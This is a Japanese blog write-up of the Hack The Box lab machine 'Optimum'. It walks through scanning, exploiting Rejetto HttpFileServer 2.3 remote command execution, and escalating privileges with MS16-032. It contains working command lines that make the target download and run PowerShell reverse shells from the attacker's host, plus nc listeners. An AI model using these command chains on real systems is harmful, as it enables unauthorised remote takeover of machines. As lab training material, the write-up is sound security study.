家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Optimum

偵察/スキャン

まずはnmapによる調査を行います。

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sC -sV 10.10.10.8
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-09 10:44 JST
Nmap scan report for 10.10.10.8
Host is up (0.19s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 314.07 seconds

httpのみ、空いているようです。 

 

 

 

 

 

Webでアクセスするのと並行していくつか調査を行います。

┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.8     
 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
 
START_TIME: Wed Jun  9 10:52:22 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
-----------------
 
                                                              GENERATED WORDS: 4612
 
---- Scanning URL: http://10.10.10.8/ ----
                                                              + http://10.10.10.8/favicon.ico (CODE:200|SIZE:576)          
                                                                               
-----------------
END_TIME: Wed Jun  9 11:28:23 2021
DOWNLOADED: 4612 - FOUND: 1

dirbからは有用な情報は得られませんでした。 

 

niktoでも有用な情報は得られませんでした。

nikto -host http://10.10.10.8

 

httpでアクセスすると以下のような画面が表示されました。

適当に「Login」等試してみますが、ログインは成功しませんでした。

画面左下にある「HttpFileServer」というキーワードで攻撃コードを検索してみます。

f:id:iestudy:20210610142210p:plain

Webでアクセス

 

アクセスの取得 

攻撃コードを検索します。

┌──(kali㉿kali)-[~]
└─$ searchsploit HttpFileServer
-------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                              |  Path
-------------------------------------------------------------------------------------------- ---------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)                                 | windows/webapps/49125.py
-------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ searchsploit -m 49125      
  Exploit: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
     Path: /usr/share/exploitdb/exploits/windows/webapps/49125.py
File Type: UTF-8 Unicode text, with CRLF line terminators
 
Copied to: /home/kali/49125.py

 

リモートから任意のコード実行ができる攻撃コードの様です。

うまく動くかを試してみます。Optimumよりpingを打てるか試してみます。

python3 49125.py 10.10.10.8 80 "ping.exe -n 1 10.10.14.29"

 

別コンソールでtcpdumpして待ち受けるとpingが届くことが確認できます。

f:id:iestudy:20210610143455p:plain

pingが届くことを確認

これを使ってシェルを取得したいと思います。

nishangのInvoke-PowerShellTcp.ps1使用してシェルを取得します。
上記を使う際は、ファイルの末尾に自身のIP及びポートを追記します。

f:id:iestudy:20210610144514p:plain

Invoke-PowerShellTcp.ps1の編集

上記ファイルを準備した後、kali側でコンソールを3つ動作させます。

 

1.攻撃コードの実行コンソール

python3 49125.py 10.10.10.8 80 "powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.29/Invoke-PowerShellTcp.ps1')"

 

2.Invoke-PowerShellTcp.ps1をOptimumにダウンロードさせるためのWebサーバ

sudo python3 -m http.server 80

 

3.Invoke-PowerShellRcp.ps1の接続を待ち受けるnc(以下の図) 

f:id:iestudy:20210610144844p:plain

シェルの取得

シェルを取得できました。続けて権限昇格を行います。

権限昇格

次に権限昇格を行います。

権限昇格に使えそうな情報を収集するため、「Sherlock.ps1」を使います。

 

まずはKali上に「Sherlock.ps1」をダウンロードします。

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1 

 

この攻撃コードはfunctionごとに脆弱性の調査対象をまとめています。

今回はすべての脆弱性を見つけるようにしました。

提供されている調査対象の確認
grep -i function Sherlock.ps1
 
すべての脆弱性を調査するようにファイルの末尾に追記
echo "Find-AllVulns" >> Sherlock.ps1

 

f:id:iestudy:20210616222141p:plain

Sherlock.ps1の編集イメージ

 

Sherlock.ps1を編集後、取得したOptimumのシェルで以下のコマンドを実行します。

PS C:\Users\kostas\Desktop>iex(new-object net.webclient).downloadstring('http://10.10.14.29/Sherlock.ps1')


Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems


Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable


Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems


Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems


Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable


Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable


Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable


Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems


Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable


Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears Vulnerable


Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable


Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable

 

上記の結果より「MS16-032」の脆弱性があることがわかるので、当該脆弱性を利用します。

kali上で「Invoke-MS16032」をダウンロードします。

wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1 

 

Invoke-MS16032を編集する前に、すでにダウンロードしている「Invoke-PowerShellTcp.ps1」を別名コピー(実行例では「shellop.ps1」としました。なお、原因等よくわかっていませんが、「Invoke-PowerShellTcp2.ps1」等とするとうまく動かせませんでした。)して、最終行の待ち受けポートを被らないもの(実行例では4445)に変更します。

 

上記変更後、ダウンロードした「Invoke-MS16032.ps1」の最終行に以下を追記します。

「Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.29/shellop.ps1')"」

 

上記編集後、OptimumでMS16032を実行します。

kali上でncを実行し、新しいポート(4445)で待ち受けます。

sudo nc -lvnp 4445

 

最初の実行では以下のようなエラーで権限昇格できませんでした。

PS C:\Users\kostas\Desktop> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29/Invoke-MS16032.ps1')
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
[!] No valid thread handles were captured, exiting!

 

これは、64bitプロセスが無効であるために起きているエラーでした。

そのため、一度Optimumのシェルを切断し、再度以下のコマンドで接続しなおします。

 

python3 49125.py 10.10.10.8 80 "C:\WINDOWS\Sysnative\WindowsPowerShell\v1.0\powershell.exe iex(new-object net.webclient).downloadstring('http://10.10.14.29/Invoke-PowerShellTcp.ps1')"

 

※以下の画像は、接続していたOptimumのシェルをCtrl+cで一度切断し、再度待ち受けたコンソールの画面です。

 

f:id:iestudy:20210616223428p:plain

攻撃失敗の原因

接続しなおしたら再度、MS16032を実行します。

f:id:iestudy:20210616223054p:plain

ncで待ち受けているコンソールの様子

権限昇格ができました。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

paichan-it.hatenablog.com

github.com

qtranspose.xyz